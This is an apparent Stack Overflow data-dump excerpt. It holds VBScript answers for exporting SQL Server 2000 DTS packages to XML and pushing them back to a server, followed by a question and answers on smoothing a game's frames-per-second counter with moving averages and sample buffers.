\".xml\"\n Else\n MsgBox Err.Description, , strPackageName\n On Error Goto 0\n End If\nEnd Sub\n\nSub Main\n Dim strServerName\n strServerName = Trim (InputBox (\"Server:\"))\n\n If strServerName \"\" Then\n Dim cnSQLServer \n Set cnSQLServer = CreateObject (\"ADODB.Connection\")\n cnSQLServer.Open \"Provider=SQLOLEDB.1;Integrated Security=SSPI;Persist Security Info=False;Initial Catalog=msdb;Data Source=\" & strServerName\n\n Dim rsDTSPackages\n Set rsDTSPackages = cnSQLServer.Execute (\"SELECT DISTINCT name FROM sysdtspackages ORDER BY name\")\n\n Dim strPackageNames\n\n Do While Not rsDTSPackages.EOF\n GetPackage strServerName, rsDTSPackages (\"name\")\n rsDTSPackages.MoveNext\n Loop\n\n rsDTSPackages.Close\n set rsDTSPackages = Nothing\n\n cnSQLServer.Close\n Set cnSQLServer = Nothing\n\n Dim strCustomTaskIDs\n Dim strCustomTaskID\n\n MsgBox \"Finished\", , \"GetPackages.vbs\"\n End If\nEnd Sub\n\nMain\n</pre>\n" }, { "answer_id": 150984, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>For completeness, I started another VBS script to read an XML file generated by GetPackages.vbs and save it as a DTS package on another SQL Server. This is even less complete, but I hope it will eventually be useful.</p>\n\n<p>PushPackages.vbs</p>\n\n<pre>\nOption Explicit\n\nSub SetProperties (dtsProperties, xmlProperties)\n dim xmlProperty\n\n For Each xmlProperty in xmlProperties.selectNodes (\"Property[@Set='-1']\")\n dtsProperties.Item (xmlProperty.getAttribute (\"Name\")).Value = xmlProperty.getAttribute (\"Value\")\n Next\nEnd Sub\n\nSub SetOLEDBProperties (dtsOLEDBProperties, xmlOLEDBProperties)\n dim xmlOLEDBProperty\n\n For Each xmlOLEDBProperty in xmlOLEDBProperties.selectNodes (\"OLEDBProperty\")\n dtsOLEDBProperties.Item (xmlOLEDBProperty.getAttribute (\"Name\")).Value = xmlOLEDBProperty.getAttribute (\"Value\")\n Next\nEnd Sub\n\nSub SetConnections (dtsConnections, xmlConnections)\n dim dtsConnection2\n dim xmlConnection2\n\n For each xmlConnection2 in xmlConnections.selectNodes (\"Connection2\")\n set dtsConnection2 = dtsConnections.New (xmlConnection2.getAttribute (\"ProviderID\"))\n SetProperties dtsConnection2.Properties, xmlConnection2.selectSingleNode (\"Properties\")\n SetOLEDBProperties dtsConnection2.ConnectionProperties, xmlConnection2.selectSingleNode (\"ConnectionProperties\")\n dtsConnections.Add dtsConnection2\n Next\nEnd Sub\n\nSub SetGlobalVariables (dtsGlobalVariables, xmlGlobalVariables)\n dim xmlGlobalVariable2\n\n For Each xmlGlobalVariable2 in xmlGlobalVariables.selectNodes (\"GlobalVariable2\")\n dtsGlobalVariables.AddGlobalVariable xmlGlobalVariable2.getAttribute (\"Name\"), xmlGlobalVariable2.getAttribute (\"Value\")\n Next\nEnd Sub\n\nSub SetPrecedenceConstraints (dtsPrecedenceConstraints, xmlPrecedenceConstraints)\n dim xmlPrecedenceConstraint\n dim dtsPrecedenceConstraint\n\n For Each xmlPrecedenceConstraint in xmlPrecedenceConstraints.selectNodes (\"PrecedenceConstraint\")\n set dtsPrecedenceConstraint = dtsPrecedenceConstraints.New (xmlPrecedenceConstraint.getAttribute (\"StepName\"))\n SetProperties dtsPrecedenceConstraint.Properties, xmlPrecedenceConstraint.selectSingleNode (\"Properties\")\n dtsPrecedenceConstraints.Add dtsPrecedenceConstraint\n Next\nEnd Sub\n\nSub SetSteps (dtsSteps, xmlSteps)\n dim xmlStep2\n dim dtsStep2\n\n For Each xmlStep2 in xmlSteps.selectNodes (\"Step2\")\n set dtsStep2 = dtsSteps.New\n SetProperties dtsStep2.Properties, xmlStep2.selectSingleNode (\"Properties\")\n dtsSteps.Add dtsStep2\n Next\n\n For Each xmlStep2 in xmlSteps.selectNodes (\"Step2\")\n set dtsStep2 = dtsSteps.Item (xmlStep2.getAttribute (\"Name\"))\n SetPrecedenceConstraints dtsStep2.PrecedenceConstraints, xmlStep2.selectSingleNode (\"PrecedenceConstraints\")\n Next\nEnd Sub\n\nSub SetTasks (dtsTasks, xmlTasks)\n dim xmlTask\n dim dtsTask\n\n For Each xmlTask in xmlTasks.selectNodes (\"Task\")\n set dtsTask = dtsTasks.New (xmlTask.getAttribute (\"CustomTaskID\"))\n SetProperties dtsTask.Properties, xmlTask.selectSingleNode (\"Properties\")\n dtsTasks.Add dtsTask\n Next\nEnd Sub\n\nSub CreatePackage (strServerName, strFileName)\n Dim fsoFileSystem\n set fsoFileSystem = CreateObject (\"Scripting.FileSystemObject\")\n\n Dim dtsPackage2\n Set dtsPackage2 = CreateObject (\"DTS.Package2\")\n\n Dim DTSSQLStgFlag_Default\n Dim DTSSQLStgFlag_UseTrustedConnection\n\n DTSSQLStgFlag_Default = 0\n DTSSQLStgFlag_UseTrustedConnection = 256\n\n Dim xmlDocument\n Set xmlDocument = CreateObject (\"Msxml2.DOMDocument.3.0\")\n xmlDocument.load strFileName\n\n Dim xmlPackage2\n set xmlPackage2 = xmlDocument.selectSingleNode (\"Package2\")\n\n 'properties\n SetProperties dtsPackage2.Properties, xmlPackage2.selectSingleNode (\"Properties\")\n\n 'collections\n SetConnections dtsPackage2.Connections, xmlPackage2.selectSingleNode (\"Connections\")\n SetGlobalVariables dtsPackage2.GlobalVariables, xmlPackage2.selectSingleNode (\"GlobalVariables\")\n SetSteps dtsPackage2.Steps, xmlPackage2.selectSingleNode (\"Steps\")\n SetTasks dtsPackage2.Tasks, xmlPackage2.selectSingleNode (\"Tasks\")\n\n On Error Resume Next\n dtsPackage2.SaveToSQLServer strServerName, , , DTSSQLStgFlag_UseTrustedConnection\n\n If Err.Number Then\n MsgBox Err.Description\n End If\nEnd Sub\n\nSub Main\n Dim strServerName\n Dim strFileName\n\n If WScript.Arguments.Count 2 Then\n MsgBox \"Usage: PushPackages servername filename\"\n Else\n strServerName = WScript.Arguments (0)\n strFileName = WScript.Arguments (1)\n CreatePackage strServerName, strFileName\n End If\nEnd Sub\n\nMain\n</pre>\n" }, { "answer_id": 218066, "author": "JAG", "author_id": 16032, "author_profile": "https://Stackoverflow.com/users/16032", "pm_score": 0, "selected": false, "text": "<p>This tool (<a href=\"http://www.dtsdoc.com\" rel=\"nofollow noreferrer\">DTSDoc</a>) does a good job on documenting DTS Packages. It can be run from the command-line which is great to keep documentation up-to-date.\nIt has some positive reviews:</p>\n\n<p><a href=\"http://aspalliance.com/1507_Review_dtsdoc_and_dbdesc.4\" rel=\"nofollow noreferrer\">Review by ASP Alliance</a></p>\n\n<p><a href=\"http://www.larkware.com/Reviews/dtsdoc.html\" rel=\"nofollow noreferrer\">Review by Mike Gunderloy (LARKWARE)</a></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87303", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I know I can edit each individual DTS package and save it as a Visual Basic script, but with hundreds of packages on the server, that will take forever. How can I script them all at once? I'd like to be able to create one file per package so that I can check them into source control, search them to see which one references a specific table, or compare the packages on our development server to the packages on our production server.
I ended up digging through the SQL 2000 documentation (Building SQL Server Applications / DTS Programming / Programming DTS Applications / DTS Object Model) and creating a VBS script to read the packages and write XML files. It's not complete, and it could be improved in several ways, but it's a big start: GetPackages.vbs ``` Option Explicit Sub GetProperties (strPackageName, dtsProperties, xmlDocument, xmlProperties) Dim dtsProperty If Not dtsProperties Is Nothing Then For Each dtsProperty in dtsProperties If dtsProperty.Set Then Dim xmlProperty Set xmlProperty = xmlProperties.insertBefore ( _ xmlDocument.createElement ("Property"), _ xmlProperties.selectSingleNode ("Property[@Name > '" & dtsProperty.Name & "']")) 'properties 'xmlProperty.setAttribute "Get", dtsProperty.Get 'xmlProperty.setAttribute "Set", dtsProperty.Set xmlProperty.setAttribute "Type", dtsProperty.Type xmlProperty.setAttribute "Name", dtsProperty.Name If not isnull(dtsProperty.Value) Then xmlProperty.setAttribute "Value", dtsProperty.Value End If 'collections 'getting properties of properties causes a stack overflow 'GetProperties strPackageName, dtsProperty.Properties, xmlDocument, xmlProperty.appendChild (xmlDocument.createElement ("Properties")) End If Next End If End Sub Sub GetOLEDBProperties (strPackageName, dtsOLEDBProperties, xmlDocument, xmlOLEDBProperties) Dim dtsOLEDBProperty For Each dtsOLEDBProperty in dtsOLEDBProperties If dtsOLEDBProperty.IsDefaultValue = 0 Then Dim xmlOLEDBProperty Set xmlOLEDBProperty = xmlOLEDBProperties.insertBefore ( _ xmlDocument.createElement ("OLEDBProperty"), _ xmlOLEDBProperties.selectSingleNode ("OLEDBProperty[@Name > '" & dtsOLEDBProperty.Name & "']")) 'properties xmlOLEDBProperty.setAttribute "Name", dtsOLEDBProperty.Name 'xmlOLEDBProperty.setAttribute "PropertyID", dtsOLEDBProperty.PropertyID 'xmlOLEDBProperty.setAttribute "PropertySet", dtsOLEDBProperty.PropertySet xmlOLEDBProperty.setAttribute "Value", dtsOLEDBProperty.Value 'xmlOLEDBProperty.setAttribute "IsDefaultValue", dtsOLEDBProperty.IsDefaultValue 'collections 'these properties are the same as the ones directly above 'GetProperties strPackageName, dtsOLEDBProperty.Properties, xmlDocument, xmlOLEDBProperty.appendChild (xmlDocument.createElement ("Properties")) End If Next End Sub Sub GetConnections (strPackageName, dtsConnections, xmlDocument, xmlConnections) Dim dtsConnection2 For Each dtsConnection2 in dtsConnections Dim xmlConnection2 Set xmlConnection2 = xmlConnections.insertBefore ( _ xmlDocument.createElement ("Connection2"), _ xmlConnections.selectSingleNode ("Connection2[@Name > '" & dtsConnection2.Name & "']")) 'properties xmlConnection2.setAttribute "ID", dtsConnection2.ID xmlConnection2.setAttribute "Name", dtsConnection2.Name xmlConnection2.setAttribute "ProviderID", dtsConnection2.ProviderID 'collections GetProperties strPackageName, dtsConnection2.Properties, xmlDocument, xmlConnection2.appendChild (xmlDocument.createElement ("Properties")) Dim dtsOLEDBProperties On Error Resume Next Set dtsOLEDBProperties = dtsConnection2.ConnectionProperties If Err.Number = 0 Then On Error Goto 0 GetOLEDBProperties strPackageName, dtsOLEDBProperties, xmlDocument, xmlConnection2.appendChild (xmlDocument.createElement ("ConnectionProperties")) Else MsgBox Err.Description & vbCrLf & "ProviderID: " & dtsConnection2.ProviderID & vbCrLf & "Connection Name: " & dtsConnection2.Name, , strPackageName On Error Goto 0 End If Next End Sub Sub GetGlobalVariables (strPackageName, dtsGlobalVariables, xmlDocument, xmlGlobalVariables) Dim dtsGlobalVariable2 For Each dtsGlobalVariable2 in dtsGlobalVariables Dim xmlGlobalVariable2 Set xmlGlobalVariable2 = xmlGlobalVariables.insertBefore ( _ xmlDocument.createElement ("GlobalVariable2"), _ xmlGlobalVariables.selectSingleNode ("GlobalVariable2[@Name > '" & dtsGlobalVariable2.Name & "']")) 'properties xmlGlobalVariable2.setAttribute "Name", dtsGlobalVariable2.Name If Not Isnull(dtsGlobalVariable2.Value) Then xmlGlobalVariable2.setAttribute "Value", dtsGlobalVariable2.Value End If 'no extended properties 'collections 'GetProperties strPackageName, dtsGlobalVariable2.Properties, xmlDocument, xmlGlobalVariable2.appendChild (xmlDocument.createElement ("Properties")) Next End Sub Sub GetSavedPackageInfos (strPackageName, dtsSavedPackageInfos, xmlDocument, xmlSavedPackageInfos) Dim dtsSavedPackageInfo For Each dtsSavedPackageInfo in dtsSavedPackageInfos Dim xmlSavedPackageInfo Set xmlSavedPackageInfo = xmlSavedPackageInfos.appendChild (xmlDocument.createElement ("SavedPackageInfo")) 'properties xmlSavedPackageInfo.setAttribute "Description", dtsSavedPackageInfo.Description xmlSavedPackageInfo.setAttribute "IsVersionEncrypted", dtsSavedPackageInfo.IsVersionEncrypted xmlSavedPackageInfo.setAttribute "PackageCreationDate", dtsSavedPackageInfo.PackageCreationDate xmlSavedPackageInfo.setAttribute "PackageID", dtsSavedPackageInfo.PackageID xmlSavedPackageInfo.setAttribute "PackageName", dtsSavedPackageInfo.PackageName xmlSavedPackageInfo.setAttribute "VersionID", dtsSavedPackageInfo.VersionID xmlSavedPackageInfo.setAttribute "VersionSaveDate", dtsSavedPackageInfo.VersionSaveDate Next End Sub Sub GetPrecedenceConstraints (strPackageName, dtsPrecedenceConstraints, xmlDocument, xmlPrecedenceConstraints) Dim dtsPrecedenceConstraint For Each dtsPrecedenceConstraint in dtsPrecedenceConstraints Dim xmlPrecedenceConstraint Set xmlPrecedenceConstraint = xmlPrecedenceConstraints.insertBefore ( _ xmlDocument.createElement ("PrecedenceConstraint"), _ xmlPrecedenceConstraints.selectSingleNode ("PrecedenceConstraint[@StepName > '" & dtsPrecedenceConstraint.StepName & "']")) 'properties xmlPrecedenceConstraint.setAttribute "StepName", dtsPrecedenceConstraint.StepName 'collections GetProperties strPackageName, dtsPrecedenceConstraint.Properties, xmlDocument, xmlPrecedenceConstraint.appendChild (xmlDocument.createElement ("Properties")) Next End Sub Sub GetSteps (strPackageName, dtsSteps, xmlDocument, xmlSteps) Dim dtsStep2 For Each dtsStep2 in dtsSteps Dim xmlStep2 Set xmlStep2 = xmlSteps.insertBefore ( _ xmlDocument.createElement ("Step2"), _ xmlSteps.selectSingleNode ("Step2[@Name > '" & dtsStep2.Name & "']")) 'properties xmlStep2.setAttribute "Name", dtsStep2.Name xmlStep2.setAttribute "Description", dtsStep2.Description 'collections GetProperties strPackageName, dtsStep2.Properties, xmlDocument, xmlStep2.appendChild (xmlDocument.createElement ("Properties")) GetPrecedenceConstraints strPackageName, dtsStep2.PrecedenceConstraints, xmlDocument, xmlStep2.appendChild (xmlDocument.createElement ("PrecedenceConstraints")) Next End Sub Sub GetColumns (strPackageName, dtsColumns, xmlDocument, xmlColumns) Dim dtsColumn For Each dtsColumn in dtsColumns Dim xmlColumn Set xmlColumn = xmlColumns.appendChild (xmlDocument.createElement ("Column")) GetProperties strPackageName, dtsColumn.Properties, xmlDocument, xmlColumn.appendChild (xmlDocument.createElement ("Properties")) Next End Sub Sub GetLookups (strPackageName, dtsLookups, xmlDocument, xmlLookups) Dim dtsLookup For Each dtsLookup in dtsLookups Dim xmlLookup Set xmlLookup = xmlLookups.appendChild (xmlDocument.createElement ("Lookup")) GetProperties strPackageName, dtsLookup.Properties, xmlDocument, xmlLookup.appendChild (xmlDocument.createElement ("Properties")) Next End Sub Sub GetTransformations (strPackageName, dtsTransformations, xmlDocument, xmlTransformations) Dim dtsTransformation For Each dtsTransformation in dtsTransformations Dim xmlTransformation Set xmlTransformation = xmlTransformations.appendChild (xmlDocument.createElement ("Transformation")) GetProperties strPackageName, dtsTransformation.Properties, xmlDocument, xmlTransformation.appendChild (xmlDocument.createElement ("Properties")) Next End Sub Sub GetTasks (strPackageName, dtsTasks, xmlDocument, xmlTasks) Dim dtsTask For each dtsTask in dtsTasks Dim xmlTask Set xmlTask = xmlTasks.insertBefore ( _ xmlDocument.createElement ("Task"), _ xmlTasks.selectSingleNode ("Task[@Name > '" & dtsTask.Name & "']")) ' The task can be of any task type, and each type of task has different properties. 'properties xmlTask.setAttribute "CustomTaskID", dtsTask.CustomTaskID xmlTask.setAttribute "Name", dtsTask.Name xmlTask.setAttribute "Description", dtsTask.Description 'collections GetProperties strPackageName, dtsTask.Properties, xmlDocument, xmlTask.appendChild (xmlDocument.createElement ("Properties")) If dtsTask.CustomTaskID = "DTSDataPumpTask" Then GetOLEDBProperties strPackageName, dtsTask.CustomTask.SourceCommandProperties, xmlDocument, xmlTask.appendChild (xmlDocument.createElement ("SourceCommandProperties")) GetOLEDBProperties strPackageName, dtsTask.CustomTask.DestinationCommandProperties, xmlDocument, xmlTask.appendChild (xmlDocument.createElement ("DestinationCommandProperties")) GetColumns strPackageName, dtsTask.CustomTask.DestinationColumnDefinitions, xmlDocument, xmlTask.appendChild (xmlDocument.createElement ("DestinationColumnDefinitions")) GetLookups strPackageName, dtsTask.CustomTask.Lookups, xmlDocument, xmlTask.appendChild (xmlDocument.createElement ("Lookups")) GetTransformations strPackageName, dtsTask.CustomTask.Transformations, xmlDocument, xmlTask.appendChild (xmlDocument.createElement ("Transformations")) End If Next End Sub Sub FormatXML (xmlDocument, xmlElement, intIndent) Dim xmlSubElement For Each xmlSubElement in xmlElement.selectNodes ("*") xmlElement.insertBefore xmlDocument.createTextNode (vbCrLf & String (intIndent + 1, vbTab)), xmlSubElement FormatXML xmlDocument, xmlSubElement, intIndent + 1 Next If xmlElement.selectNodes ("*").length > 0 Then xmlElement.appendChild xmlDocument.createTextNode (vbCrLf & String (intIndent, vbTab)) End If End Sub Sub GetPackage (strServerName, strPackageName) Dim dtsPackage2 Set dtsPackage2 = CreateObject ("DTS.Package2") Dim DTSSQLStgFlag_Default Dim DTSSQLStgFlag_UseTrustedConnection DTSSQLStgFlag_Default = 0 DTSSQLStgFlag_UseTrustedConnection = 256 On Error Resume Next dtsPackage2.LoadFromSQLServer strServerName, , , DTSSQLStgFlag_UseTrustedConnection, , , , strPackageName If Err.Number = 0 Then On Error Goto 0 'fsoTextStream.WriteLine dtsPackage2.Name Dim xmlDocument Set xmlDocument = CreateObject ("Msxml2.DOMDocument.3.0") Dim xmlPackage2 Set xmlPackage2 = xmlDocument.appendChild (xmlDocument.createElement ("Package2")) 'properties xmlPackage2.setAttribute "Name", dtsPackage2.Name 'collections GetProperties strPackageName, dtsPackage2.Properties, xmlDocument, xmlPackage2.appendChild (xmlDocument.createElement("Properties")) GetConnections strPackageName, dtsPackage2.Connections, xmlDocument, xmlPackage2.appendChild (xmlDocument.createElement ("Connections")) GetGlobalVariables strPackageName, dtsPackage2.GlobalVariables, xmlDocument, xmlPackage2.appendChild (xmlDocument.createElement ("GlobalVariables")) 'SavedPackageInfos only apply to DTS packages saved in structured storage files 'GetSavedPackageInfos strPackageName, dtsPackage2.SavedPackageInfos, xmlDocument, xmlPackage2.appendChild (xmlDocument.createElement ("SavedPackageInfos")) GetSteps strPackageName, dtsPackage2.Steps, xmlDocument, xmlPackage2.appendChild (xmlDocument.createElement ("Steps")) GetTasks strPackageName, dtsPackage2.Tasks, xmlDocument, xmlPackage2.appendChild (xmlDocument.createElement ("Tasks")) FormatXML xmlDocument, xmlPackage2, 0 xmlDocument.save strPackageName + ".xml" Else MsgBox Err.Description, , strPackageName On Error Goto 0 End If End Sub Sub Main Dim strServerName strServerName = Trim (InputBox ("Server:")) If strServerName "" Then Dim cnSQLServer Set cnSQLServer = CreateObject ("ADODB.Connection") cnSQLServer.Open "Provider=SQLOLEDB.1;Integrated Security=SSPI;Persist Security Info=False;Initial Catalog=msdb;Data Source=" & strServerName Dim rsDTSPackages Set rsDTSPackages = cnSQLServer.Execute ("SELECT DISTINCT name FROM sysdtspackages ORDER BY name") Dim strPackageNames Do While Not rsDTSPackages.EOF GetPackage strServerName, rsDTSPackages ("name") rsDTSPackages.MoveNext Loop rsDTSPackages.Close set rsDTSPackages = Nothing cnSQLServer.Close Set cnSQLServer = Nothing Dim strCustomTaskIDs Dim strCustomTaskID MsgBox "Finished", , "GetPackages.vbs" End If End Sub Main ```
87,304
<p>What's a good algorithm for calculating frames per second in a game? I want to show it as a number in the corner of the screen. If I just look at how long it took to render the last frame the number changes too fast.</p> <p>Bonus points if your answer updates each frame and doesn't converge differently when the frame rate is increasing vs decreasing.</p>
[ { "answer_id": 87333, "author": "Martin Beckett", "author_id": 10897, "author_profile": "https://Stackoverflow.com/users/10897", "pm_score": 7, "selected": false, "text": "<p>You need a smoothed average, the easiest way is to take the current answer (the time to draw the last frame) and combine it with the previous answer.</p>\n\n<pre><code>// eg.\nfloat smoothing = 0.9; // larger=more smoothing\nmeasurement = (measurement * smoothing) + (current * (1.0-smoothing))\n</code></pre>\n\n<p>By adjusting the 0.9 / 0.1 ratio you can change the 'time constant' - that is how quickly the number responds to changes. A larger fraction in favour of the old answer gives a slower smoother change, a large fraction in favour of the new answer gives a quicker changing value. Obviously the two factors must add to one!</p>\n" }, { "answer_id": 87335, "author": "apandit", "author_id": 6128, "author_profile": "https://Stackoverflow.com/users/6128", "pm_score": 4, "selected": false, "text": "<p>Increment a counter every time you render a screen and clear that counter for some time interval over which you want to measure the frame-rate.</p>\n\n<p>Ie. Every 3 seconds, get counter/3 and then clear the counter.</p>\n" }, { "answer_id": 87336, "author": "Bryan Oakley", "author_id": 7432, "author_profile": "https://Stackoverflow.com/users/7432", "pm_score": 0, "selected": false, "text": "<p>Set counter to zero. Each time you draw a frame increment the counter. After each second print the counter. lather, rinse, repeat. If yo want extra credit, keep a running counter and divide by the total number of seconds for a running average.</p>\n" }, { "answer_id": 87343, "author": "Mike Stone", "author_id": 122, "author_profile": "https://Stackoverflow.com/users/122", "pm_score": 1, "selected": false, "text": "<p>You could keep a counter, increment it after each frame is rendered, then reset the counter when you are on a new second (storing the previous value as the last second's # of frames rendered)</p>\n" }, { "answer_id": 87347, "author": "Jimmy", "author_id": 4435, "author_profile": "https://Stackoverflow.com/users/4435", "pm_score": -1, "selected": false, "text": "<p>store a start time and increment your framecounter once per loop? every few seconds you could just print framecount/(Now - starttime) and then reinitialize them.</p>\n\n<p>edit: oops. double-ninja'ed</p>\n" }, { "answer_id": 87523, "author": "Wedge", "author_id": 332, "author_profile": "https://Stackoverflow.com/users/332", "pm_score": 5, "selected": false, "text": "<p>Well, certainly </p>\n\n<pre><code>frames / sec = 1 / (sec / frame)\n</code></pre>\n\n<p>But, as you point out, there's a lot of variation in the time it takes to render a single frame, and from a UI perspective updating the fps value at the frame rate is not usable at all (unless the number is very stable).</p>\n\n<p>What you want is probably a moving average or some sort of binning / resetting counter.</p>\n\n<p>For example, you could maintain a queue data structure which held the rendering times for each of the last 30, 60, 100, or what-have-you frames (you could even design it so the limit was adjustable at run-time). To determine a decent fps approximation you can determine the average fps from all the rendering times in the queue:</p>\n\n<pre><code>fps = # of rendering times in queue / total rendering time\n</code></pre>\n\n<p>When you finish rendering a new frame you enqueue a new rendering time and dequeue an old rendering time. Alternately, you could dequeue only when the total of the rendering times exceeded some preset value (e.g. 1 sec). You can maintain the \"last fps value\" and a last updated timestamp so you can trigger when to update the fps figure, if you so desire. Though with a moving average if you have consistent formatting, printing the \"instantaneous average\" fps on each frame would probably be ok.</p>\n\n<p>Another method would be to have a resetting counter. Maintain a precise (millisecond) timestamp, a frame counter, and an fps value. When you finish rendering a frame, increment the counter. When the counter hits a pre-set limit (e.g. 100 frames) or when the time since the timestamp has passed some pre-set value (e.g. 1 sec), calculate the fps:</p>\n\n<pre><code>fps = # frames / (current time - start time)\n</code></pre>\n\n<p>Then reset the counter to 0 and set the timestamp to the current time.</p>\n" }, { "answer_id": 87732, "author": "KPexEA", "author_id": 13676, "author_profile": "https://Stackoverflow.com/users/13676", "pm_score": 6, "selected": false, "text": "<p>This is what I have used in many games.</p>\n<pre class=\"lang-c prettyprint-override\"><code>#define MAXSAMPLES 100\nint tickindex=0;\nint ticksum=0;\nint ticklist[MAXSAMPLES];\n\n/* need to zero out the ticklist array before starting */\n/* average will ramp up until the buffer is full */\n/* returns average ticks per frame over the MAXSAMPLES last frames */\n\ndouble CalcAverageTick(int newtick)\n{\n ticksum-=ticklist[tickindex]; /* subtract value falling off */\n ticksum+=newtick; /* add new value */\n ticklist[tickindex]=newtick; /* save new value so it can be subtracted later */\n if(++tickindex==MAXSAMPLES) /* inc buffer index */\n tickindex=0;\n\n /* return average */\n return((double)ticksum/MAXSAMPLES);\n}\n</code></pre>\n" }, { "answer_id": 88179, "author": "jilles de wit", "author_id": 7531, "author_profile": "https://Stackoverflow.com/users/7531", "pm_score": 0, "selected": false, "text": "<p>In (c++ like) pseudocode these two are what I used in industrial image processing applications that had to process images from a set of externally triggered camera's. Variations in \"frame rate\" had a different source (slower or faster production on the belt) but the problem is the same. (I assume that you have a simple timer.peek() call that gives you something like the nr of msec (nsec?) since application start or the last call)</p>\n\n<p>Solution 1: fast but not updated every frame</p>\n\n<pre><code>do while (1)\n{\n ProcessImage(frame)\n if (frame.framenumber%poll_interval==0)\n {\n new_time=timer.peek()\n framerate=poll_interval/(new_time - last_time)\n last_time=new_time\n }\n}\n</code></pre>\n\n<p>Solution 2: updated every frame, requires more memory and CPU</p>\n\n<pre><code>do while (1)\n{\n ProcessImage(frame)\n new_time=timer.peek()\n delta=new_time - last_time\n last_time = new_time\n total_time += delta\n delta_history.push(delta)\n framerate= delta_history.length() / total_time\n while (delta_history.length() &gt; avg_interval)\n {\n oldest_delta = delta_history.pop()\n total_time -= oldest_delta\n }\n} \n</code></pre>\n" }, { "answer_id": 288674, "author": "David Frenkel", "author_id": 28747, "author_profile": "https://Stackoverflow.com/users/28747", "pm_score": 2, "selected": false, "text": "<p>Good answers here. Just how you implement it is dependent on what you need it for. I prefer the running average one myself \"time = time * 0.9 + last_frame * 0.1\" by the guy above.</p>\n\n<p>however I personally like to weight my average more heavily towards newer data because in a game it is SPIKES that are the hardest to squash and thus of most interest to me. So I would use something more like a .7 \\ .3 split will make a spike show up much faster (though it's effect will drop off-screen faster as well.. see below)</p>\n\n<p>If your focus is on RENDERING time, then the .9.1 split works pretty nicely b/c it tend to be more smooth. THough for gameplay/AI/physics spikes are much more of a concern as THAT will usually what makes your game look choppy (which is often worse than a low frame rate assuming we're not dipping below 20 fps)</p>\n\n<p>So, what I would do is also add something like this: </p>\n\n<pre><code>#define ONE_OVER_FPS (1.0f/60.0f)\nstatic float g_SpikeGuardBreakpoint = 3.0f * ONE_OVER_FPS;\nif(time &gt; g_SpikeGuardBreakpoint)\n DoInternalBreakpoint()\n</code></pre>\n\n<p>(fill in 3.0f with whatever magnitude you find to be an unacceptable spike)\nThis will let you find and thus <em>solve</em> FPS issues the end of the frame they happen.</p>\n" }, { "answer_id": 7796547, "author": "Peter Jankuliak", "author_id": 273348, "author_profile": "https://Stackoverflow.com/users/273348", "pm_score": 4, "selected": false, "text": "<p>There are at least two ways to do it:</p>\n\n<hr>\n\n<p>The first is the one others have mentioned here before me.\nI think it's the simplest and preferred way. You just to keep track of </p>\n\n<ul>\n<li>cn: counter of how many frames you've rendered</li>\n<li>time_start: the time since you've started counting</li>\n<li>time_now: the current time</li>\n</ul>\n\n<p>Calculating the fps in this case is as simple as evaluating this formula:</p>\n\n<ul>\n<li>FPS = cn / (time_now - time_start).</li>\n</ul>\n\n<hr>\n\n<p>Then there is the uber cool way you might like to use some day:</p>\n\n<p>Let's say you have 'i' frames to consider. I'll use this notation: f[0], f[1],..., f[i-1] to describe how long it took to render frame 0, frame 1, ..., frame (i-1) respectively.</p>\n\n<pre><code>Example where i = 3\n\n|f[0] |f[1] |f[2] |\n+----------+-------------+-------+------&gt; time\n</code></pre>\n\n<p>Then, mathematical definition of fps after i frames would be</p>\n\n<pre><code>(1) fps[i] = i / (f[0] + ... + f[i-1])\n</code></pre>\n\n<p>And the same formula but only considering i-1 frames.</p>\n\n<pre><code>(2) fps[i-1] = (i-1) / (f[0] + ... + f[i-2]) \n</code></pre>\n\n<p>Now the trick here is to modify the right side of formula (1) in such a way that it will contain the right side of formula (2) and substitute it for it's left side.</p>\n\n<p>Like so (you should see it more clearly if you write it on a paper):</p>\n\n<pre><code>fps[i] = i / (f[0] + ... + f[i-1])\n = i / ((f[0] + ... + f[i-2]) + f[i-1])\n = (i/(i-1)) / ((f[0] + ... + f[i-2])/(i-1) + f[i-1]/(i-1))\n = (i/(i-1)) / (1/fps[i-1] + f[i-1]/(i-1))\n = ...\n = (i*fps[i-1]) / (f[i-1] * fps[i-1] + i - 1)\n</code></pre>\n\n<p>So according to this formula (my math deriving skill are a bit rusty though), to calculate the new fps you need to know the fps from the previous frame, the duration it took to render the last frame and the number of frames you've rendered.</p>\n" }, { "answer_id": 14178096, "author": "Totty.js", "author_id": 305270, "author_profile": "https://Stackoverflow.com/users/305270", "pm_score": 0, "selected": false, "text": "<pre><code>qx.Class.define('FpsCounter', {\n extend: qx.core.Object\n\n ,properties: {\n }\n\n ,events: {\n }\n\n ,construct: function(){\n this.base(arguments);\n this.restart();\n }\n\n ,statics: {\n }\n\n ,members: { \n restart: function(){\n this.__frames = [];\n }\n\n\n\n ,addFrame: function(){\n this.__frames.push(new Date());\n }\n\n\n\n ,getFps: function(averageFrames){\n debugger;\n if(!averageFrames){\n averageFrames = 2;\n }\n var time = 0;\n var l = this.__frames.length;\n var i = averageFrames;\n while(i &gt; 0){\n if(l - i - 1 &gt;= 0){\n time += this.__frames[l - i] - this.__frames[l - i - 1];\n }\n i--;\n }\n var fps = averageFrames / time * 1000;\n return fps;\n }\n }\n\n});\n</code></pre>\n" }, { "answer_id": 14922314, "author": "BottleFact", "author_id": 2080626, "author_profile": "https://Stackoverflow.com/users/2080626", "pm_score": 0, "selected": false, "text": "<p>How i do it!</p>\n\n<pre><code>boolean run = false;\n\nint ticks = 0;\n\nlong tickstart;\n\nint fps;\n\npublic void loop()\n{\nif(this.ticks==0)\n{\nthis.tickstart = System.currentTimeMillis();\n}\nthis.ticks++;\nthis.fps = (int)this.ticks / (System.currentTimeMillis()-this.tickstart);\n}\n</code></pre>\n\n<p>In words, a tick clock tracks ticks. If it is the first time, it takes the current time and puts it in 'tickstart'. After the first tick, it makes the variable 'fps' equal how many ticks of the tick clock divided by the time minus the time of the first tick.</p>\n\n<p>Fps is an integer, hence \"(int)\".</p>\n" }, { "answer_id": 16627178, "author": "adventurerOK", "author_id": 1336695, "author_profile": "https://Stackoverflow.com/users/1336695", "pm_score": 0, "selected": false, "text": "<p>Here's how I do it (in Java):</p>\n\n<pre><code>private static long ONE_SECOND = 1000000L * 1000L; //1 second is 1000ms which is 1000000ns\n\nLinkedList&lt;Long&gt; frames = new LinkedList&lt;&gt;(); //List of frames within 1 second\n\npublic int calcFPS(){\n long time = System.nanoTime(); //Current time in nano seconds\n frames.add(time); //Add this frame to the list\n 